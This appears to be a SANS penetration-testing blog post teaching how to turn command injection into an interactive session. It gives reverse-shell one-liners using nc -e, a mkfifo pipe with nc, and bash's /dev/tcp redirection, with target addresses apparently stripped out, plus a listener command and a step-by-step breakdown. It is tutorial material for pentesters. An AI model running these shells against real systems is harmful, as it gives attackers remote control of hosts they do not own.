SANS Penetration Testing

Pen Test Poster: "White Board" - Bash - Bash's Built-In Netcat Client

Board Elements_clean_BashGÇÖs Built-In Netcat Client

By Matthew Toussain, Geoff Pamerleau


Sifting through client external and internal websites is a vital step in any pentest. A tester can uncover all sorts of juicy information such as the identities of important individuals, email addresses, corporate jargon, trusted relationships, and more just hanging out there in the open. But sometimes you really hit the jackpot, command injection! While this isn't meant to be a blog post on web app pentesting, modern websites provide prolific exploitation opportunities to network penetration testers, starting at shell. Whether you've attained remote code execution through a web flaw, remote file inclusion, or admin access to popular content management systems like WordPress, converting your toehold into an interactive session on the target is a solid next step.



Methods Covered in this Section

  • nc -e reverse shell:
nc -e /bin/sh 1234
  • nc reverse shell without -e:
rm /tmp/pipe; mkfifo /tmp/pipe; cat /tmp/pipe|/bin/sh -i 2>&1|nc 1234 > /tmp/pipe
  • /dev/tcp reverse shell:
bash -i >& /dev/tcp/ 0>&1


We all know and love Netcat right? It's the "TCP/IP Swiss Army Knife!" A simple little nc one liner can turn command execution into shell access:

nc -e /bin/sh 1234


Many modern versions of nc ship without the -e option due to the obvious security implications demonstrated above, but even without the -e option, we can achieve shell through pipes and output redirection as seen below:

rm /tmp/pipe; mkfifo /tmp/pipe; cat /tmp/pipe|/bin/sh -i 2>&1|nc 1234 > /tmp/pipe


Both of those commands have one big limitation: they require nc to be present on the system. Unfortunately, this isn't always the case. For those times when nc isn't available, the same functionality can be found using nothing more than bash.




For this trick to work the target system's bash must have been compiled with the --enable-net-redirections flag. The magic of this flag is that it causes accesses on the /dev/tcp/ip_address/port device file to read and write from a TCP socket that is dynamically created based on the IP Address (or hostname) and port specified in the file path. The additional magic is found in the ubiquity of bash and that most major Linux distributions ship with this option included.

In order to turn this into an interactive session, we need to connect /dev/tcp to a nc listener running on our attack station and tie read and write operations from the /dev/tcp device file to the input and output of a bash process.

/dev/tcp reverse shell:
bash -i >& /dev/tcp/ 0>&1


Note that the result of the whoami has changed from our listener to the user that instantiated the bash reverse shell... root


Command Breakdown

  • On attack station:

nc -vlp 9000

1. nc - Command line tool for making TCP sockets
2. -v - Execute in verbose mode
3. -l - Listen, open a TCP socket on the local machine
4. -p 9000 - Port to listen on


  • On target:

bash -i >& /dev/tcp/ 0>&1

1. bash - Bourne-Again SHell command language interpreter
2. -i - Interactive mode
3. >& - Direct bash stdout into the /dev/tcp file descriptor
4. /dev/tcp/ - Connects to port 9000 on
5. 0>&1 - Redirects stdin from the connection back into bash


So what exactly is the above doing? First, we run an interactive bash session and direct both standard out and standard error to the /dev/tcp file descriptor that represents the connection to our nc listener. Then we specify to read standard input from the connection back to the bash shell that has been spawned. Since we invoked an interactive session, our nc listener should stay connected to this bash process until we exit out of the session.


As was previously mentioned, bash support of /dev/tcp isn't guaranteed. Recent Ubuntu and Redhat releases as well as OSX/MacOS support it while Debian traditionally does not. A quick check to test for support is to run the following:

: < /dev/tcp/ && echo Supported || echo Unsupported


If you've got a unique use for /dev/tcp bash support, please include it in the comments below!

Matthew Toussain


Upcoming SANS Special Event - 2018 Holiday Hack Challenge


SANS Holiday Hack Challenge - KringleCon 2018

  • Free SANS Online Capture-the-Flag Challenge
  • Our annual gift to the entire Information Security Industry
  • Designed for novice to advanced InfoSec professionals
  • Fun for the whole family!!
  • Build and hone your skills in a fun and festive roleplaying like video game, by the makers of SANS NetWars
  • Learn more:
  • Play previous versions from free 24/7/365:

Player Feedback!

  • "On to level 4 of the #holidayhackchallenge. Thanks again @edskoudis / @SANSPenTest team." - @mikehodges
  • "#SANSHolidayHack Confession — I have never used python or scapy before. I got started with both today because of this game! Yay!" - @tww2b
  • "Happiness is watching my 12 yo meet @edskoudis at the end of #SANSHolidayHack quest. Now the gnomes #ProudHackerPapa" - @dnlongen



Posted February 22, 2017 at 3:36 PM | Permalink | Reply


FYI, it works in the Ubuntu bash environment on Windows 10 too. Instead of netcat in the "attacker" window, I used Fyodor's ncat (

Post a Comment


* Indicates a required field.